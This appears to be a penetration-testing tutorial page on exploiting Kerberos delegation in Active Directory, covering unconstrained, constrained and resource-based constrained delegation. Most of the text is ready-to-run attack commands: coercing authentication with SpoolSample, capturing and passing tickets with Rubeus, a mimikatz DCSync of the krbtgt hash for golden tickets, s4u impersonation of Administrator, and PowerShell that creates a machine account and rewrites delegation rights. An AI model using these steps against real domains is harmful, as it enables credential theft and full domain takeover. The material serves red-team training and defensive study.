Exploiting unconstrained delegation
Unconstrained delegation is a concept in Active Directory where a service principal is trusted to make Ticket Granting Service (TGS) requests to a Key Distribution Center (KDC) on-behalf-of of another entity. Essentially, an entity will request a forwardable Ticket Granting Ticket (TGT) from the KDC and then a TGS for a service principal. When making a request to a service principal where we expect the service to make another request on our behalf, we provide both the TGT and the TGS for the request.
The service will use our TGT to request another TGS from the KDC, and execute actions against a second service in the context of our user. If we can compromise a service that has unconstrained delegation, we can dump forwardable TGTs from memory and make requests to other services on behalf of the user(s) we compromised.
Coercing authentication
If a machine or service principal we’ve compromised has the unconstrained delegation privilege, using the SpoolSample.exe application referenced in Windows privilege escalation, we can coerce other entities to authenticate to us with a forwardable TGT. We can then dump the victim’s TGT from our ticket cache and abuse it to move laterally throughout the domain.
Using Rubeus.exe referenced in Windows credentials, we can monitor tickets for a user by invoking the following:
Rubeus.exe monitor /interval:5 /filteruser:${USER_PRINCIPAL_NAME}
Using SpoolSample.exe, we can coerce a target to establish a connection to our print spooler pipe by invoking the following:
SpoolSample.exe ${TARGET_SERVER} ${CAPTURE_SERVER}
Once we found a ticket, we can Pass the Ticket (PTT) and cache it into memory with Rubeus:
Rubeus.exe ptt /ticket:${TICKET_HASH}
For example, if we manage to get a forwardable TGT for the Domain Controller, we can use mimikatz to dump NTLM hashes of any user in the domain:
lsadump::dcsyn /domain:${DOMAIN} /user:${DOMAIN}\krbtgt
Once we acquire the NTLM hash of the krbtgt service principal, we can craft a golden ticket to obtain access to any resource in the domain.
Constrained delegation
Constrained delegation restricts an entity to conduct on-behalf-of
authentication only to service principals listed in its
msds-allowedtodelegateto
property. Microsoft offers the S4U2Self
and
S4U2proxy
extensions to request a service ticket on second-hop services on
behalf of a user. Still, if we’ve compromised the host that has constrained
delegation, we can still abuse this property to pivot to other hosts in the
domain.
Given a TGT for a service that has constrained delegation permissions, we can execute the following with Rubeus to impersonate users for other service principals:
Rubeus.exe s4u /ticket:${TGT_HASH} /impersonateuser:Administrator /msdsspn:${SERVICE_PRINCIPAL_NAME} /ptt
We can also target alternative service principals like so:
Rubeus.exe s4u /ticket:${TGT_HASH} /impersonateuser:Administrator /msdsspn:${SERVICE_PRINCIPAL_NAME} /altservice:CIFS /ptt
Resource-based constrained delegation
Resource-based constrained delegation reverses the privilege requirements to
enable delegation. Instead of Domain Administrators configuring delegation
privileges, a backend service can use the
msds-allowedtoactonbehalfofotheridentity
property to specify which service
principals the backend service will request TGSs to the KDC on-behalf-of. We
require GenericWrite
on the backend service to set this property.
The msds-allowedtoactonbehalfofotheridentity
property cannot be used for user
principals, however, it can be set for machine accounts. If we have
GenericWrite
permissions, we can execute the following procedures to abuse the
property. Using cmdlets from the PowerView toolkit mentioned in
Attacking Active Directory certificate servces,
we can determine if we can create new machine objects in the domain and create a
new machine account:
Get-DomainObject -Identity ${DOMAIN} -Properties ms-DS-MachineAccountQuota
# Check to see if there are machines available in the quota
New-MachineAccount `
-MachineAccount ${NEW_COMPUTER_NAME} `
-Password $(ConvertTo-SecureString ${PASSWORD} -AsPlainText -Force)
Using the following PowerShell, we’ll set the
msds-allowedtoactonbehalfofotheridentity property on the machine we have
GenericWrite`
permissions for for the machine we just created:
$sid = Get-DomainComputer `
-Identity ${NEW_COMPUTER_NAME} `
-Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor `
-ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)
Get-DomainComputer -Identity ${VICTIM_COMPUTER_NAME} | Set-DomainObject `
-Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
Using Rubeus, we can initiate a TGT request on behalf of our new computer, using
its password hash, to initiate S4U2self and S4U2proxy to impersonate another
user for the target backend service that we just set
msds-allowedtoactonbehalfofotheridentity
permissions for:
# Get password hash
Rubeus.exe hash /password:${PASSWORD}
# Impersonate user on backend service that acts on behalf of new computer
Rubeus.exe s4u `
/user:${NEW_COMPUTER_NAME} `
/rc4:${PASSWORD_HASH} `
/impersonateuser:Administrator `
/msdsspn:CIFS/${BACKEND_SERVER} `
/ptt